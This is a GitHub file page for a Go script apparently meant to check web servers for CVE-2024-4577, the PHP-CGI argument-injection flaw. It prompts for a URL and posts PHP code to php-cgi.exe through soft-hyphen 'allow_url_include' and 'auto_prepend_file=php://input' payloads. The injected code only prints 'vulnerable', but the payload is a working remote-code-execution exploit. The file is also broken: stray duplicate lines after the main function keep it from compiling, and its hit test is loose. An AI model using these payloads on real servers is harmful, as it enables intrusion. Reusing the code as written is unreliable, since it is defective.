forked from TAM-K592/CVE-2024-4577
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcve_2024_4577.go
57 lines (48 loc) · 1.44 KB
/
cve_2024_4577.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func testCgiVulnerability(url string) {
payloads := []string{
"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input",
"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input",
}
phpCode := "<?php echo \"vulnerable\"; ?>"
headers := "application/x-www-form-urlencoded"
for _, payload := range payloads {
testURL := url + payload
resp, err := http.Post(testURL, headers, bytes.NewBuffer([]byte(phpCode)))
if err != nil {
fmt.Printf("(!) Error testing %s: %v\n", testURL, err)
continue
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("(!) Error reading response from %s: %v\n", testURL, err)
continue
}
bodyStr := strings.ToLower(string(body))
if strings.Contains(bodyStr, "vulnerable") || strings.Contains(bodyStr, "directory") || strings.Contains(bodyStr, "index of") {
fmt.Printf("(+) Potential vulnerability detected at: %s\n", testURL)
} else {
fmt.Printf("(-) No vulnerability detected at: %s\n", testURL)
}
}
}
func main() {
var url string
fmt.Print("Enter the URL to test (e.g., http://example.com): ")
fmt.Scanln(&url)
url = strings.TrimRight(url, "/")
testCgiVulnerability(url)
}
} else {
fmt.Printf("No vulnerability detected at: %s\n", testURL)
}
}
}